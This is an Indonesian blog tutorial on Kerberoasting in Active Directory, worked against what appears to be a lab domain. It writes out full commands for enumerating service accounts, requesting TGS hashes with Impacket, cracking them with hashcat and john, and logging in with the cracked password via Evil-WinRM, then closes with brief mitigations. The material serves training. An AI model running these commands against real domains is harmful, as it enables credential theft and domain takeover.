Kerberos Attack: Kerberoasting
Active Directory Attack: Kerberoasting. Kerberoasting adalah serangan yang ditujukan untuk memperoleh hash kata sandi dari service account di Active Directory dengan menggunakan ticket Kerberos yang dienkripsi. Penyerang kemudian melakukan cracking hash tersebut untuk mendapatkan akses ke sistem atau jaringan.
SPNs
Service Principal Name (SPN) adalah unique identifier untuk sebuah instansi layanan. Active Directory Domain Services (AD DS) dan Windows menyediakan dukungan untuk Service Principal Names (SPNs), yang merupakan komponen kunci dari mekanisme Kerberos menyangkut bagaimana seorang klien mengautentikasi sebuah layanan. SPN sendiri digunakan untuk mengaitkan sebuah layanan pada server tertentu dengan sebuah akun layanan di Active Directory.
Kerberoasting
Kerberoasting adalah teknik yang memungkinkan seorang penyerang untuk mencuri tiket KRB_TGS, untuk melakukan serangan brute force atau dictionary attack terhadap hash service account untuk mengekstrak kata sandinya. Jika kita memiliki akses ke pengguna domain yang valid, kita dapat meminta KDC untuk mengeluarkan TGS yang valid untuk layanan apa pun.
Dalam teknik post-exploitation yang berkaitan dengan Active Directory, kerberoasting merupakan salahsatu teknik yang cukup populer karena pada beberapa case service account yang rentan terhadap serangan ini masuk kedalam grup Domain Admin, sehingga berhasil melakukan takeover akun melalui kerberoasting sama dengan melakukan compromise dari Domain Controller.
Detection
Oke, untuk mendeteksi akun yang rentan terhadap serangan kerberoasting ada berbagai cara. Jika kalian berhasil mendapatkan akses salahsatu domain user atau berhasil melakukan compromise computer yang tergabung dalam Active Directory, kalian bisa gunakan PowerView untuk melakukan enumerasi service account. Jalankan perintah:
powershell -ep bypass
Import-Module \PowerView.ps1
Get-NetUser -SPN
Terlihat pada output PowerView diatas bahwa evasvc merupakan service account.
Cara kedua adalah menggunakan tool windapsearch. Yang dibutuhkan hanyalah domain user yang valid.
windapsearch --dc 172.16.8.139 -d evangelion.lab -u 'asuka' -p 'P@ssw0rd2033' -m user-spns
Atau, kita bisa gunakan Bloodhound CE untuk melihat kerberoastable user.
Klik Explore > Cypher > Pre-built Searches > All Kerberoastable users.
Exploitation
Ada banyak cara untuk mengeksploitasi akun yang rentan terhadap kerberoasting seperi menggunakan Rubeus, Mimikatz, dll. Namun disini saya lebih suka menggunakan Impacket script karena kita bisa mengeksploitasinya secara remote.
impacket-GetUserSPNs 'EVANGELION.lab/asuka:P@ssw0rd2033' -dc-ip 172.16.8.139 -request -output spns.txt
Oke kita sudah mendapatkan hash TGS dari user SPNs. Selanjutnya adalah melakukan cracking pada hash tersebut. Disini saya akan mencontohkan penggunaan john dan juga hashcat untuk melakukan cracking hash ini.
Menggunakan hashcat:
hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou-utf8.txt
Atau cara kedua adalah menggunakan john:
john --wordlist=/usr/share/wordlists/rockyou.txt spns.txt
Untuk validasi kredensialnya kalian bisa gunakan NetExec atau Evil-WinRM.
netexec winrm 172.16.8.139 -u 'evasvc' -p 'Serviceworks1'
evil-winrm -i 172.16.8.139 -u 'evasvc' -p 'Serviceworks1'
Mitigasi
Oke, mitigasi dari serangan kerberoasting adalah sebagai berikut:
- Gunakan password yang kuat, kompleks, dan tidak ada di list wordlist
- Jangan masukkan service account kedalam grup dengan hak akses tinggi seperti Domain Admins
- Batasi hak akses dari service account
Mungkin sekian sharing kali ini. Jika ada yang ingin ditanyakan silahkan tinggalkan komentar.
Clock skew too great
Jika kalian mengalami error Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) ketika melakukan kerberoasting, kalian bisa mengatasinya dengan command berikut:
sudo timedatectl set-ntp false
sudo rdate -n 172.16.8.139
Dengan asumsi 172.16.8.139 adalah IP Domain Controller.
Jangan lupa setelah aktivitas kerberoasting selesai dilakukan, update kembali pengaturan NTP.
sudo timedatectl set-ntp true
Posting Komentar untuk "Kerberos Attack: Kerberoasting"
Posting Komentar
Silahkan tinggalkan komentar jika ada masukan, pertanyaan, kritik ataupun dukungan. Namun pastikan untuk berkomentar secara sopan.